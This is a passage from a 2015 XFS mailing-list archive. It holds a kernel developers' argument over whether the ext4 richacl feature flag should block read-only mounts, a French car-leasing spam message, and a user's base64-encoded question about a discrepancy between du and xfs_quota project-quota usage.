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 --------------ms070001020509080703050503-- From agruenba@redhat.com Mon Oct 19 15:20:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B515E7F63 for ; Mon, 19 Oct 2015 15:20:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 26337AC002 for ; Mon, 19 Oct 2015 13:20:47 -0700 (PDT) X-ASG-Debug-ID: 1445286044-04cb6c3ceeb53e0001-NocioJ Received: from mail-lb0-f174.google.com (mail-lb0-f174.google.com [209.85.217.174]) by cuda.sgi.com with ESMTP id t4QO0ku10sUIRvYO (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 19 Oct 2015 13:20:45 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.174 Received: by lbcao8 with SMTP id ao8so155021451lbc.3 for ; Mon, 19 Oct 2015 13:20:44 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=BheDyr9aqo+zpylCZ2BPotkREmCPBi9OLW9MZotnVBE=; b=RRz/YPIB/+dtBAYr5lQyufCBnBVvEyGHME0vESIJhbJtvHLZgdIN4RcEpHEWKbocuj EoUrAz4T5jn6HPLi91rJHbOBoFbgM4RXXNuVzPciFmmoflx33Z64sO6IZsehE/4uY0PD /cZTHeYPUn0fVkkduCkgoS2H2vbdVOwV4Tl88jeWqDOhV8cyZo+AA5xL/3Qo1Cu+WAIn gdZMWtUCNIYwHtOV7fnlyE5tkPnEE0JDHoWH22yg8A7cuSBLuhfRnrPqV2gWWH9vTmm6 4fGpBj1jmy64csiSATI0+TVj0JIIOd8zz1mRcgP/6jpWikssDTDAkql1o6eWKMCkfAhV sPpg== X-Gm-Message-State: ALoCoQmN5gNB/NHoIa077v+Rsuy2RvpuuKoE+LhV1QFVZxx+h0eYSkB3D0wQ53ylqDAtu2jfJsrT MIME-Version: 1.0 X-Received: by 10.112.205.69 with SMTP id le5mr16013644lbc.89.1445286043951; Mon, 19 Oct 2015 13:20:43 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Mon, 19 Oct 2015 13:20:43 -0700 (PDT) In-Reply-To: <56253A35.4070309@gmail.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> <1445008706-15115-22-git-send-email-agruenba@redhat.com> <5621346E.5000500@gmail.com> <5624ED40.7040206@gmail.com> <5625182C.3050007@gmail.com> <56253A35.4070309@gmail.com> Date: Mon, 19 Oct 2015 22:20:43 +0200 Message-ID: Subject: Re: [PATCH v11 21/48] ext4: Add richacl feature flag From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v11 21/48] ext4: Add richacl feature flag To: Austin S Hemmelgarn Cc: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4 , xfs@oss.sgi.com, LKML , linux-fsdevel , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API , "Aneesh Kumar K.V" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lb0-f174.google.com[209.85.217.174] X-Barracuda-Start-Time: 1445286045 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23633 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 19, 2015 at 8:45 PM, Austin S Hemmelgarn wrote: > On 2015-10-19 13:33, Andreas Gruenbacher wrote: >> Please spare me with all that nonsense. Compared to mount options, >> filesystem feature flags in this case simplify things (you don't have >> to specify whether a filesystem contains POSIX ACLs or richacls), and >> they prevent administrator errors: when a filesystem mounts, it is >> safe to use; when it doesn't, it is not. That's all there is to it. > > You're ignoring what I'm actually saying. I've said absolutely nothing > about needing to use mount options at all, and I'm not arguing against using > filesystem feature flags, I'm arguing for using them sensibly in a way that > does not present a false sense of security. We could be on a multi-user system, and the user mounting the filesystem may not be the only user on the system. When a filesystem can be mounted read-only, it should be safe to use read-only. It is not safe in general to use such a filesystem read-only, so an incompatible feature flag which prevents such unsafe mounting is more approporiate than a read-only incompatible feature flag. Mounting a filesystem read-only doesn't mean that the filesystem is being recovered, it is perfectly legal to mount a filesystem read-only for other reasons. I don't want to give people using read-only filesystems the false sense that everything is okay. > Making it an incompatible flag will likely cause headaches for some > legitimate users, Indeed. It will also make it less likely for users to accidentally shoot themselves in the foot. If someone knows better, they can clear the feature flag. When recovering a broken system that contains richacl filesystems, you really want to have richacl support in the rescue system as well. Otherwise, you won't be able to fsck those filesystems. > and at most delay competent hackers by a few seconds to a > few minutes, and script kiddies by a few hours, and is really no better than > security by obscurity (and from a purely logistical standpoint, that's _all_ > it is) in that it actively tries to hide the fact that someone having read > access to the storage the filesystem is on can bypass the ACL's. > > To reiterate, if someone can call mount() on a filesystem, and mount() does > not return -EPERM, then even if mount() returns a different error, they > still have the ability to completely bypass all permissions and ACL's in > that filesystem, because they have the ability to read the entire filesystem > directly. > > The _only_ way to properly protect against people bypassing the ACL's is to > use full disk encryption and lock down root access on the system, and even > that can't completely prevent it from happening. That's all completely beside the point. I'm not talking about preventing attacks at all, just basic administrative workflows. Andreas From jean@schwarz01.eu Mon Oct 19 20:10:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID, T_REMOTE_IMAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 93FA47F66 for ; Mon, 19 Oct 2015 20:10:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9E8EAC002 for ; Mon, 19 Oct 2015 18:10:08 -0700 (PDT) X-ASG-Debug-ID: 1445303403-04cbb035aacb8b0001-NocioJ Received: from vps.hansgrohe248.eu (vps.hansgrohe248.eu [93.115.97.208]) by cuda.sgi.com with ESMTP id c3zrWQrMk3WxiUBp (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 19 Oct 2015 18:10:05 -0700 (PDT) X-Barracuda-Envelope-From: jean@schwarz01.eu X-Barracuda-Apparent-Source-IP: 93.115.97.208 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=schwarz01.eu; s=itek; t=1445303403; bh=+di+OlI2JlwzZHL8fOs1U9czUd/symSISaunCQ+8hro=; h=Date:From:To:Reply-to:Subject:From; b=D+lRZIXbfCO1g5fFHd65IbUiQQqRu7k1ZQfokrxmOxZzRQFl8NDgtUiBxlRQyZ5tp LOF4WZ1D3Nenun8rz/9MTkEUbJrLR9fDN8UVN9PiViHJv4gxLrjL5he/prng331Oaq 9rDz0E8WGF7CTMjCahO3FnIalzVp82olgoIpnfp8= Date: Tue, 20 Oct 2015 03:10:00 +0000 From: Jeep Business To: xfs@oss.sgi.com Reply-to: Jeep Business User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; Microsoft Outlook 15.0.4420) MIME-Version: 1.0 Subject: Reservez votre essai Jeep Cherokee Content-Type: multipart/alternative; boundary="------------020705030805010109060603" X-ASG-Orig-Subj: Reservez votre essai Jeep Cherokee X-Barracuda-Connect: vps.hansgrohe248.eu[93.115.97.208] X-Barracuda-Start-Time: 1445303404 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.14 X-Barracuda-Spam-Status: No, SCORE=0.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_MESSAGE, MISSING_MID X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23645 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message Message-Id: <20151020011008.19529106C0A5@cuda.sgi.com> This is a multi-part message in MIME format. --------------020705030805010109060603 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Pour consulter la verssion en ligne,c'est la ALFA ROMEO ALFA ROMEO Mito Edizione toute équipée Alfa Mito réservez un essai A partir de 149€ par mois avec apport* intérieur Alfa Mito * Motorisations diesel de 140 ch, 185 ch et 200 ch * Boîte de vitesses automatique à 9 rapports * Transmissions intégrales Jeep® Active Drive * Plus de 65 systèmes de sécurité et de protection * Système d'avertissement de franchissement de ligne avec correction * Système de gestion de la motricité Selec-Terrain? * Système multimédia UConnect® avec navigation GPS à écran tactile 8,4" expo Avec garantie, entretien, assistance et assurance perte financière. *Exemple pour une Jeep® Cherokee 2.0 l MultiJet S&S 140 ch 4x2 BVM6 Longitude Executive au tarif constructeur du 04/06/2015. Location longue durée sur 36 mois pour un kilométrage maximum de 45000 kilomètres, soit 36 loyers mensuels de 395 Euros TTC incluant les prestations garantie, entretien, assistance et assurance perte financière. Offre réservée aux professionnels (hors loueurs et carrossiers) pour toute Jeep® Cherokee neuve commandée jusqu'au 31/12/2015 auprès de votre concessionnaire Jeep® participant. Sous réserve d'acceptation de votre dossier par FAL Fleet Services, SAS au capital de 3.000.000€ - 6, rue Nicolas Copernic ? 78190 Trappes - 413 360 181 RCS Versailles. N° Orias 08 045 147. Version présentée : Jeep® Cherokee Limited Advanced Technologies 2.0 l MultiJet S&S 170 ch 4x4 BVA9 avec option peinture métallisée (+ 950 TTC). Consommations mixtes gamme Cherokee (l/100 km) de 5.3 à 9.6 Émissions de CO2 (g/km) de 139 à 223. Pour retirer votre adresse email,c'est la --------------020705030805010109060603 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
Pour consulter la verssion en ligne,c'est la
ALFA ROMEO ALFA ROMEO Mito Edizione toute équipée
Alfa Mito
réservez un essai
A partir de 149€ par mois avec apport*
intérieur Alfa Mito * Motorisations diesel de 140 ch, 185 ch et 200 ch
* Boîte de vitesses automatique à 9 rapports
* Transmissions intégrales Jeep® Active Drive
* Plus de 65 systèmes de sécurité et de protection
* Système d'avertissement de franchissement de ligne
   avec correction
* Système de gestion de la motricité Selec-Terrain?
* Système multimédia UConnect® avec navigation GPS
   à écran tactile 8,4"
Pour retirer votre adresse email,c'est la
--------------020705030805010109060603-- From eyniy@qq.com Tue Oct 20 04:10:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B3CC77F66 for ; Tue, 20 Oct 2015 04:10:26 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 80F8A304039 for ; Tue, 20 Oct 2015 02:10:25 -0700 (PDT) X-ASG-Debug-ID: 1445332217-04bdf06db1f8630001-NocioJ Received: from smtpbg65.qq.com (smtpbg65.qq.com [103.7.28.233]) by cuda.sgi.com with ESMTP id 5emOgRbGF0zTBaFY (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 20 Oct 2015 02:10:19 -0700 (PDT) X-Barracuda-Envelope-From: eyniy@qq.com X-Barracuda-Apparent-Source-IP: 103.7.28.233 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qq.com; s=s201307; t=1445332199; bh=oXDjVOOQhjMozPivSEuemL9BQBc1qbGXcoQazHjIx4s=; h=From:To:Subject:Mime-Version:Content-Type:Content-Transfer-Encoding:Date:Message-ID; b=TIu5dzbqkYo3aCc9rhfNuAYDUWk2qI2EERE6F1/ErsWTfD7180ccBc3qtzjV8k0Ze wHDXfGraXtzGzEJ/+TI6zUPtezn9Iix6U/luLvS7kxR1Zl5IbD5mwPtMfgkIooV9wi xbZ+7mdlnkY4bix5tpG1i6n9xOet5K8jIz2d/k/M= X-QQ-FEAT: Tas2jRaQZEN/Hqu+o3q80VF4Fvljc1kEgbgfW/2sJIHvkJJwqf7aRfFxLfVpP S20jgLhDWlYJI/ycId4bfPSdVIELvHx2NSOvHtC3/W3zK26Xw/O0npghhSKtEQKF3KPl0IJ HFIvkO5fKfrk/O8IpCqvL/kz0dIUofuLg6E3iJXCwW++DCUhhj2dkOcPJA/rcvex4hXNRnq mxxVFIF/dKXBt0m1BIq9uWJuTf/sscqSdllfBu5+QB9yzJFqtqxLQbXhQmqGCRtI= X-QQ-SSF: 000000000000005000000000000000Z X-HAS-ATTACH: no X-QQ-BUSINESS-ORIGIN: 2 X-Originating-IP: 59.37.157.134 X-QQ-STYLE: X-QQ-mid: webmail661t1445332198t6730847 From: "=?ISO-8859-1?B?WWVZaW4=?=" To: "=?ISO-8859-1?B?eGZz?=" Subject: du result is smaller than xfs_quota report Mime-Version: 1.0 X-ASG-Orig-Subj: du result is smaller than xfs_quota report Content-Type: multipart/alternative; boundary="----=_NextPart_562604E6_0A6820B0_47223F78" Content-Transfer-Encoding: 8Bit Date: Tue, 20 Oct 2015 17:09:58 +0800 X-Priority: 3 Message-ID: X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x X-QQ-SENDSIZE: 520 X-QQ-Bgrelay: 1 X-Barracuda-Connect: smtpbg65.qq.com[103.7.28.233] X-Barracuda-Start-Time: 1445332218 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.06 X-Barracuda-Spam-Status: No, SCORE=1.06 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23653 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily This is a multi-part message in MIME format. ------=_NextPart_562604E6_0A6820B0_47223F78 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: base64 SGksIGFsbCwNCkkgZW5jb3VudGVyZWQgc29tZSBwcm9ibGVtcyB3aGVuIEkgdXNlZCBYRlMg d2l0aCBwcm9qZWN0IHF1b3RhOg0KDQoNCiMgY2F0IC9ldGMvcHJvamlkIA0KZG9ja2VyLTE1 MDkxNDIxMzk2NDI2OjY1MDYxDQpkb2NrZXItMTUwOTIzMTE1MjI0MDk6MjYyODYNCmRvY2tl ci0xNTEwMTIxNTYzNzI5NDoxNDE2Mg0KDQoNCg0KIyBjYXQgL2V0Yy9wcm9qZWN0cyANCjY1 MDYxOi9kYXRhL2RvY2tlci12b2x1bWVzL2RvY2tlci0xNTA5MTQyMTM5NjQyNg0KMjYyODY6 L2RhdGEvZG9ja2VyLXZvbHVtZXMvZG9ja2VyLTE1MDkyMzExNTIyNDA5DQoxNDE2MjovZGF0 YS9kb2NrZXItdm9sdW1lcy9kb2NrZXItMTUxMDEyMTU2MzcyOTQNCg0KDQoNCiMgeGZzX3F1 b3RhIC14YyAncmVwb3J0IC1oJyAvZGF0YSAgICAgICAgICANClByb2plY3QgcXVvdGEgb24g L2RhdGEgKC9kZXYvc2RhNCkNCiAgICAgICAgICAgICAgICAgICAgICAgIEJsb2NrcyAgICAg ICAgICAgICAgDQpQcm9qZWN0IElEICAgVXNlZCAgIFNvZnQgICBIYXJkIFdhcm4vR3JhY2Ug ICANCi0tLS0tLS0tLS0gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIA0KZG9j a2VyLTE1MDkxNDIxMzk2NDI2ICAgMS4wRyAgICAgIDAgICAxMDBHICAwMCBbLS0tLS0tXQ0K ZG9ja2VyLTE1MDkyMzExNTIyNDA5IDM3MS41RyAgICAgIDAgICA3MDBHICAwMCBbLS0tLS0t XQ0KZG9ja2VyLTE1MTAxMjE1NjM3Mjk0IDkyMC44TSAgICAgIDAgICA0MDBHICAwMCBbLS0t LS0tXQ0KDQoNCg0KIyBkdSAtc2ggL2RhdGEvZG9ja2VyLXZvbHVtZXMvZG9ja2VyLTE1MDky MzExNTIyNDA5IA0KMjAwRyAgICAvZGF0YS9kb2NrZXItdm9sdW1lcy9kb2NrZXItMTUwOTIz MTE1MjI0MDkNCg0KDQoNCkFzIHdlIGNhbiBzZWUsICBkdSdzIHJlc3VsdCgyMDBHKSBpcyBz bWFsbGVyIHRoYW4geGZzX3F1b3RhIHJlcG9ydC4NCg0KDQojIHhmc19kYiAteHIgLWMgJ2Rx dW90IC1wIDI2Mjg2JyAtYyBwIC9kZXYvc2RhNA0KZGlza2RxLm1hZ2ljID0gMHg0NDUxDQpk aXNrZHEudmVyc2lvbiA9IDB4MQ0KZGlza2RxLmZsYWdzID0gMHgyDQpkaXNrZHEuaWQgPSAy NjI4Ng0KZGlza2RxLmJsa19oYXJkbGltaXQgPSAxODM1MDA4MDANCmRpc2tkcS5ibGtfc29m dGxpbWl0ID0gMA0KZGlza2RxLmlub19oYXJkbGltaXQgPSAwDQpkaXNrZHEuaW5vX3NvZnRs aW1pdCA9IDANCmRpc2tkcS5iY291bnQgPSA5NzA0OTAwOA0KZGlza2RxLmljb3VudCA9IDEx NzI1DQpkaXNrZHEuaXRpbWVyID0gMA0KZGlza2RxLmJ0aW1lciA9IDANCmRpc2tkcS5pd2Fy bnMgPSAwDQpkaXNrZHEuYndhcm5zID0gMA0KZGlza2RxLnJ0Yl9oYXJkbGltaXQgPSAwDQpk aXNrZHEucnRiX3NvZnRsaW1pdCA9IDANCmRpc2tkcS5ydGJjb3VudCA9IDANCmRpc2tkcS5y dGJ0aW1lciA9IDANCmRpc2tkcS5ydGJ3YXJucyA9IDANCg0KDQoNCkl0IHNlZW1zIHRoYXQg c29tZSBibG9ja3Mgb3duZWQgYnkgcHJvamVjdCB3YXNuJ3QgYmUgZnJlZWQuIEFueW9uZSBj YW4gZ2l2ZSBtZSBzb21lIHN1Z2dlc3Rpb25zIHRvIGZpbmQgdGhlIHJlYXNvbj8NCg0KDQpU aGFua3MsDQpZZQ== ------=_NextPart_562604E6_0A6820B0_47223F78 Content-Type: text/html; charset="ISO-8859-1" Content-Transfer-Encoding: base64 PGRpdj5IaSwgYWxsLDwvZGl2PjxkaXY+SSBlbmNvdW50ZXJlZCBzb21lIHByb2JsZW1zIHdo ZW4gSSZuYnNwO3VzZWQgWEZTIHdpdGggcHJvamVjdCBxdW90YTo8L2Rpdj48ZGl2Pjxicj48 L2Rpdj48ZGl2PjxkaXY+IyBjYXQgL2V0Yy9wcm9qaWQmbmJzcDs8L2Rpdj48ZGl2PmRvY2tl ci0xNTA5MTQyMTM5NjQyNjo2NTA2MTwvZGl2PjxkaXY+ZG9ja2VyLTE1MDkyMzExNTIyNDA5 OjI2Mjg2PC9kaXY+PGRpdj5kb2NrZXItMTUxMDEyMTU2MzcyOTQ6MTQxNjI8L2Rpdj48L2Rp dj48ZGl2Pjxicj48L2Rpdj48ZGl2PjxkaXY+IyBjYXQgL2V0Yy9wcm9qZWN0cyZuYnNwOzwv ZGl2PjxkaXY+NjUwNjE6L2RhdGEvZG9ja2VyLXZvbHVtZXMvZG9ja2VyLTE1MDkxNDIxMzk2 NDI2PC9kaXY+PGRpdj4yNjI4NjovZGF0YS9kb2NrZXItdm9sdW1lcy9kb2NrZXItMTUwOTIz MTE1MjI0MDk8L2Rpdj48ZGl2PjE0MTYyOi9kYXRhL2RvY2tlci12b2x1bWVzL2RvY2tlci0x NTEwMTIxNTYzNzI5NDwvZGl2PjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+PGRpdj4jIHhm c19xdW90YSAteGMgJ3JlcG9ydCAtaCcgL2RhdGEgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5i c3A7ICZuYnNwOzwvZGl2PjxkaXY+UHJvamVjdCBxdW90YSBvbiAvZGF0YSAoL2Rldi9zZGE0 KTwvZGl2PjxkaXY+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsg Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgQmxvY2tzICZuYnNw OyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOzwvZGl2PjxkaXY+ UHJvamVjdCBJRCAmbmJzcDsgVXNlZCAmbmJzcDsgU29mdCAmbmJzcDsgSGFyZCBXYXJuL0dy YWNlICZuYnNwOyZuYnNwOzwvZGl2PjxkaXY+LS0tLS0tLS0tLSAtLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0mbmJzcDs8L2Rpdj48ZGl2PmRvY2tlci0xNTA5MTQyMTM5NjQy NiAmbmJzcDsgMS4wRyAmbmJzcDsgJm5ic3A7ICZuYnNwOzAgJm5ic3A7IDEwMEcgJm5ic3A7 MDAgWy0tLS0tLV08L2Rpdj48ZGl2PmRvY2tlci0xNTA5MjMxMTUyMjQwOSAzNzEuNUcgJm5i c3A7ICZuYnNwOyAmbmJzcDswICZuYnNwOyA3MDBHICZuYnNwOzAwIFstLS0tLS1dPC9kaXY+ PGRpdj5kb2NrZXItMTUxMDEyMTU2MzcyOTQgOTIwLjhNICZuYnNwOyAmbmJzcDsgJm5ic3A7 MCAmbmJzcDsgNDAwRyAmbmJzcDswMCBbLS0tLS0tXTwvZGl2PjwvZGl2PjxkaXY+PGJyPjwv ZGl2PjxkaXY+PGRpdj4jIGR1IC1zaCAvZGF0YS9kb2NrZXItdm9sdW1lcy9kb2NrZXItMTUw OTIzMTE1MjI0MDkmbmJzcDs8L2Rpdj48ZGl2PjIwMEcgJm5ic3A7ICZuYnNwOy9kYXRhL2Rv Y2tlci12b2x1bWVzL2RvY2tlci0xNTA5MjMxMTUyMjQwOTwvZGl2PjwvZGl2PjxkaXY+PGJy PjwvZGl2PjxkaXY+QXMgd2UgY2FuIHNlZSwgJm5ic3A7ZHUncyByZXN1bHQoMjAwRykgaXMg c21hbGxlciB0aGFuIHhmc19xdW90YSByZXBvcnQuPC9kaXY+PGRpdj48YnI+PC9kaXY+PGRp dj48ZGl2PiMgeGZzX2RiIC14ciAtYyAnZHF1b3QgLXAgMjYyODYnIC1jIHAgL2Rldi9zZGE0 PC9kaXY+PGRpdj5kaXNrZHEubWFnaWMgPSAweDQ0NTE8L2Rpdj48ZGl2PmRpc2tkcS52ZXJz aW9uID0gMHgxPC9kaXY+PGRpdj5kaXNrZHEuZmxhZ3MgPSAweDI8L2Rpdj48ZGl2PmRpc2tk cS5pZCA9IDI2Mjg2PC9kaXY+PGRpdj5kaXNrZHEuYmxrX2hhcmRsaW1pdCA9IDE4MzUwMDgw MDwvZGl2PjxkaXY+ZGlza2RxLmJsa19zb2Z0bGltaXQgPSAwPC9kaXY+PGRpdj5kaXNrZHEu aW5vX2hhcmRsaW1pdCA9IDA8L2Rpdj48ZGl2PmRpc2tkcS5pbm9fc29mdGxpbWl0ID0gMDwv 